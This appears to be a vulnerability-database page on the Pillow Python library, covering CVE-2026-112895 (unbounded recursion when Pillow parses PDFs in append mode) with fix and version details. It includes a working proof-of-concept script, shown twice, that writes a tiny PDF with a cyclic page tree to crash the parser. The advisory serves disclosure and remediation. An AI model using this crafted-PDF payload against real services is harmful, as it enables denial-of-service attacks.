Vulnerabilities in pkg:pypi/pillow

PACKAGE
Advisory Identifier: GHSA-p4wg-p73j-c528
Advisory Summary

CVE-2026-112895 is a HIGH unbounded recursion parsing a pdf vulnerability (CWE-674: Uncontrolled Recursion) affecting Pillow libraries in the PyPI ecosystem. The issue involves unbounded recursion parsing a pdf page tree or trailer chain (incomplete fix for cve-2026-42310). Remediation is available by upgrading affected packages to version 13.0.0.

64 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/pillow

64 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/pillow. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-p4wg-p73j-c528 CVE-2026-112895 HIGH Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
GHSA-462x-pgg6-55fp CVE-2026-112395 MODERATE Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)
GHSA-5xmw-vc9v-4wf2 CVE-2026-42309 MODERATE Pillow has a heap buffer overflow with nested list coordinates
GHSA-9hw9-ch79-4vh6 CVE-2026-59205 HIGH Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
GHSA-vjc4-5qp5-m44j CVE-2026-59204 HIGH Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
GHSA-pg7v-jwj7-p798 CVE-2026-59203 MODERATE Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service
GHSA-phj9-mv4w-65pm CVE-2026-55380 HIGH Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
GHSA-45hq-cxwh-f6vc CVE-2026-55379 HIGH Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
GHSA-5x94-69rx-g8h2 CVE-2026-54060 HIGH Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
GHSA-8v84-f9pq-wr9x CVE-2026-54059 HIGH Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
GHSA-62p4-gmf7-7g93 CVE-2026-54058 HIGH Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
GHSA-wjx4-4jcj-g98j CVE-2026-42308 MODERATE Pillow has an integer overflow when processing fonts
GHSA-pwv6-vv43-88gr CVE-2026-42311 HIGH Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)
GHSA-r73j-pqj5-w3x7 CVE-2026-42310 MODERATE Pillow has a PDF Parsing Trailer Infinite Loop (DoS)
GHSA-cfh3-3jmp-rvhc CVE-2026-25990 HIGH Pillow affected by out-of-bounds write when loading PSD images
GHSA-whj4-6x5x-4v2j CVE-2026-40192 HIGH FITS GZIP decompression bomb in Pillow
GHSA-44wm-f244-xhp3 CVE-2024-28219 HIGH Pillow buffer overflow vulnerability
GHSA-95q3-8gr9-gm8w CVE-2021-27923 HIGH Pillow Denial of Service by Uncontrolled Resource Consumption
GHSA-3wvg-mj6g-m9cv CVE-2021-27922 HIGH Pillow Uncontrolled Resource Consumption
GHSA-xg8h-j46f-w952 CVE-2025-48379 HIGH Pillow vulnerability can cause write buffer overflow on BCn encoding
GHSA-56pw-mpj4-fxww - HIGH Duplicate Advisory: Bundled libwebp in Pillow vulnerable
GHSA-r854-96gq-rfg3 CVE-2014-1933 MODERATE Pillow Temporary file name leakage
GHSA-q5hq-fp76-qmrc CVE-2021-28677 HIGH Uncontrolled Resource Consumption in Pillow
GHSA-8ghj-p4vj-mr35 CVE-2023-44271 HIGH Pillow Denial of Service vulnerability
GHSA-xrcv-f9gm-v42c CVE-2022-22816 MODERATE Out-of-bounds Read in Pillow
GHSA-pw3c-h7wp-cvhx CVE-2022-22815 MODERATE Improper Initialization in Pillow
GHSA-vqcj-wrf2-7v73 CVE-2020-35654 HIGH Pillow Out-of-bounds Write
GHSA-8vj2-vxx3-667w CVE-2022-22817 CRITICAL Arbitrary expression injection in Pillow
GHSA-m2vv-5vj5-2hm7 CVE-2022-45198 HIGH Pillow vulnerable to Data Amplification attack.
GHSA-q4mp-jvh2-76fj CVE-2022-45199 HIGH Pillow subject to DoS via SAMPLESPERPIXEL tag
GHSA-7r7m-5h27-29hp CVE-2021-28676 HIGH Potential infinite loop in Pillow
GHSA-j7mj-748x-7p78 CVE-2019-16865 HIGH DOS attack in Pillow when processing specially crafted image files
GHSA-mvg9-xffr-p774 CVE-2021-25291 HIGH Out of bounds read in Pillow
GHSA-9hx2-hgq2-2g4f CVE-2021-25292 MODERATE Regular Expression Denial of Service (ReDoS) in Pillow
GHSA-v9pc-9mvp-x87g CVE-2016-3076 HIGH Pillow Buffer overflow in Jpeg2KEncode.c
GHSA-rwv7-3v45-hg29 CVE-2021-25288 HIGH Pillow Out-of-bounds Read vulnerability
GHSA-77gc-v2xv-rvvh CVE-2021-25287 HIGH Out-of-bounds Read in Pillow
GHSA-7534-mm45-c74v CVE-2021-34552 CRITICAL Buffer Overflow in Pillow
GHSA-98vv-pw6r-q6q4 CVE-2021-23437 HIGH Uncontrolled Resource Consumption in pillow
GHSA-3xv8-3j54-hgrp CVE-2020-10378 HIGH Out-of-bounds read in Pillow
GHSA-cqhg-xjhh-p8hf CVE-2020-10177 HIGH Out-of-bounds reads in Pillow
GHSA-j6f7-g425-4gmx CVE-2014-3598 HIGH Pillow is vulnerable to Denial of Service (DOS) in the Jpeg2KImagePlugin
GHSA-h5rf-vgqx-wjv2 CVE-2014-9601 HIGH Pillow denial of service via PNG bomb
GHSA-8m9x-pxwq-j236 CVE-2014-3007 CRITICAL Pillow command injection
GHSA-x895-2wrm-hvp7 CVE-2014-1932 HIGH PIL and Pillow Vulnerable to Symlink Attack on Tmpfiles
GHSA-8xjv-v9xq-m5h9 CVE-2016-0775 HIGH Pillow Buffer overflow in ImagingFliDecode
GHSA-g6rj-rv7j-xwp4 CVE-2021-28675 HIGH Pillow denial of service
GHSA-43fq-w8qq-v88h CVE-2020-11538 CRITICAL Out-of-bounds read in Pillow
GHSA-vj42-xq3r-hr3r CVE-2020-10994 HIGH Out-of-bounds reads in Pillow
GHSA-8843-m7mw-mxqm CVE-2020-10379 HIGH Buffer overflow in Pillow
GHSA-hggx-3h72-49ww CVE-2016-0740 MODERATE Pillow Buffer overflow in ImagingLibTiffDecode
GHSA-8xjq-8fcg-g5hw CVE-2021-25290 HIGH Out-of-bounds Write in Pillow
GHSA-57h3-9rgr-c24m CVE-2021-25289 CRITICAL Out of bounds write in Pillow
GHSA-3c5c-7235-994j CVE-2016-2533 HIGH Pillow buffer overflow in ImagingPcdDecode
GHSA-cfmr-38g9-f2h7 CVE-2014-3589 HIGH Pillow denial of service via Crafted Block Size
GHSA-hvr8-466p-75rh CVE-2016-4009 CRITICAL Pillow Integer overflow in ImagingResampleHorizontal
GHSA-rwr3-c2q8-gm56 CVE-2016-9189 MODERATE Pillow Integer overflow in Map.c
GHSA-f5g8-5qq7-938w CVE-2020-35653 HIGH Pillow Out-of-bounds Read
GHSA-hf64-x4gq-p99h CVE-2020-35655 MODERATE Pillow Out-of-bounds Read
GHSA-5gm3-px64-rw72 CVE-2019-19911 HIGH Uncontrolled Resource Consumption in Pillow
GHSA-r7rm-8j6h-r933 CVE-2020-5311 CRITICAL Buffer Copy without Checking Size of Input in Pillow
GHSA-vcqg-3p29-xw73 CVE-2020-5310 CRITICAL Integer overflow in Pillow
GHSA-p49h-hjvm-jg3h CVE-2020-5312 CRITICAL PCX P mode buffer overflow in Pillow
GHSA-jgpv-4h4c-xhw3 - MODERATE Uncontrolled Resource Consumption in pillow

CVE-2026-112895 at a Glance

CVE Identifier CVE-2026-112895
GHSA Identifier GHSA-p4wg-p73j-c528
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-674: Uncontrolled Recursion
Affected Product Pillow
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-112895

To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pillow fixed: 13.0.0
pip install pillow>=13.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-112895, inspect your installed packages using pip:

pip show pillow

Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 13.0.0), your application is affected.

Note: The pip show pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-674: Uncontrolled Recursion, where the product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf) PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.

CVE-2026-112895 Affected Pillow Versions

1 component(s)
Fixed Versions:
13.0.0
Product / Package Ecosystem Affected Versions Fixed Version
pillow
PyPI
≥ 5.1.0
< 13.0.0
13.0.0

References

Frequently Asked Questions

What is CVE-2026-112895?
CVE-2026-112895 is a security vulnerability in Pillow involving Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) under CWE-674: Uncontrolled Recursion.
Which Pillow versions are affected?
Affected versions include releases prior to 13.0.0 across affected packages: pillow.
What version fixes CVE-2026-112895?
Upgrading to 13.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pillow affected?
Yes, pillow is affected in releases prior to 13.0.0. Upgrade your dependency to 13.0.0 or later.
What CWE is associated with CVE-2026-112895?
CVE-2026-112895 is classified under CWE-674: Uncontrolled Recursion (The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.).
How can I check PyPI dependencies for CVE-2026-112895?
Run the dependency tree command: 'pip show pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p4wg-p73j-c528",
  "modified" : "2026-10-20T20:50:49Z",
  "published" : "2026-10-20T20:50:49Z",
  "aliases" : [ "CVE-2026-112895" ],
  "summary" : "Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)",
  "details" : "### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n    1: b\"<< /Type /Catalog /Pages 2 0 R >>\",\n    2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n    3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.1.0"
      }, {
        "fixed" : "13.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-112895"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-674" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-20T20:50:49Z",
    "nvd_published_at" : "2026-10-19T22:17:09Z"
  }
}